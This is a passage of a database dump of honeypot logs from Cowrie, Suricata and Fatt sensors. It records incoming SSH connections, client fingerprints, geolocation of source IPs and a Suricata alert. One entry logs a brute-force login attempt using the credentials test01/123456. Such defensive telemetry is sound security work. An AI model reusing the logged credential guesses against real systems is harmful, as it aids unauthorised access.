22564	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:07.775549+03	2021-09-20 14:15:06.374471+03	{"_id": "RAbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43854, "timestamp": "2021-09-20T11:07:07.775549", "@timestamp": "2021-09-20T11:07:07.775Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22565	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:07.78912+03	2021-09-20 14:15:06.376471+03	{"_id": "RQbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34784, "dest_port": 443, "timestamp": "2021-09-20T11:07:07.789120", "@timestamp": "2021-09-20T11:07:07.789Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
22566	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:07:07.828903+03	2021-09-20 14:15:06.377471+03	{"_id": "RgbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34784, "timestamp": "2021-09-20T11:07:07.828903", "@timestamp": "2021-09-20T11:07:07.828Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
22567	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:07.486168+03	2021-09-20 14:15:06.3785+03	{"_id": "RwbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [test01/123456] failed", "session": "0f30c03f99b2", "@version": "1", "password": "123456", "username": "test01", "timestamp": "2021-09-20T11:07:07.486168Z", "@timestamp": "2021-09-20T11:07:07.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22568	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:07.76593+03	2021-09-20 14:15:06.3805+03	{"_id": "SAbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6cf2d482c0d0", "@version": "1", "timestamp": "2021-09-20T11:07:07.765930Z", "@timestamp": "2021-09-20T11:07:07.765Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22569	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:07.773458+03	2021-09-20 14:15:06.3815+03	{"_id": "SQbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "18a1ddb0f9cf", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:07.773458Z", "@timestamp": "2021-09-20T11:07:07.773Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22570	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:07.77899+03	2021-09-20 14:15:06.382473+03	{"_id": "SgbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "53556f190532", "@version": "1", "duration": 2.7568135261535645, "timestamp": "2021-09-20T11:07:07.778990Z", "@timestamp": "2021-09-20T11:07:07.778Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22571	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:08.251431+03	2021-09-20 14:15:06.3835+03	{"_id": "SwbjAnwBvYTbRNuEYwdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1605634522576450, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33582, "dest_port": 22, "timestamp": "2021-09-20T11:07:08.251431Z", "@timestamp": "2021-09-20T11:07:08.251Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22572	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:08.599698+03	2021-09-20 14:15:06.3855+03	{"_id": "TAbjAnwBvYTbRNuEYwdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 851869908975620, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40520, "dest_port": 22, "timestamp": "2021-09-20T11:07:08.599698Z", "@timestamp": "2021-09-20T11:07:08.599Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22573	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:08.71043+03	2021-09-20 14:15:06.386481+03	{"_id": "TQbjAnwBvYTbRNuEYwdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 573141564538261, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46434, "dest_port": 22, "timestamp": "2021-09-20T11:07:08.710430Z", "@timestamp": "2021-09-20T11:07:08.710Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22574	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:08.822648+03	2021-09-20 14:15:06.3875+03	{"_id": "TgbjAnwBvYTbRNuEYwdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1100580728227550, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43854, "dest_port": 22, "timestamp": "2021-09-20T11:07:08.822648Z", "@timestamp": "2021-09-20T11:07:08.822Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22575	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:07:08.858174+03	2021-09-20 14:15:06.3885+03	{"_id": "TwbjAnwBvYTbRNuEYwdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 1318382814947505, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37728, "dest_port": 22, "timestamp": "2021-09-20T11:07:08.858174Z", "@timestamp": "2021-09-20T11:07:08.858Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22576	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:07:08.858235+03	2021-09-20 14:15:06.3905+03	{"_id": "UAbjAnwBvYTbRNuEYwdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:07:08.780465+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1318382814947505, "payload": "AAADzAYURncStgncscdcY53er3XsIgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37728, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:07:08.858235Z", "@timestamp": "2021-09-20T11:07:08.858Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......Fw......\\\\c...u.\\"...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
22577	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:08.427514+03	2021-09-20 14:15:06.3915+03	{"_id": "UgbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:46434 (192.168.176.2:22) [session: 3f85a6359bdd]", "session": "3f85a6359bdd", "@version": "1", "protocol": "ssh", "src_port": 46434, "dest_port": 22, "timestamp": "2021-09-20T11:07:08.427514Z", "@timestamp": "2021-09-20T11:07:08.427Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22578	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:07:08.817927+03	2021-09-20 14:15:06.392503+03	{"_id": "UwbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:37728 (192.168.176.2:22) [session: 824890bfdffa]", "session": "824890bfdffa", "@version": "1", "protocol": "ssh", "src_port": 37728, "dest_port": 22, "timestamp": "2021-09-20T11:07:08.817927Z", "@timestamp": "2021-09-20T11:07:08.817Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22579	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:09.144897+03	2021-09-20 14:15:06.393508+03	{"_id": "bAbjAnwBvYTbRNuEZAfR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:34326 (192.168.176.2:22) [session: a5e2e8aff59e]", "session": "a5e2e8aff59e", "@version": "1", "protocol": "ssh", "src_port": 34326, "dest_port": 22, "timestamp": 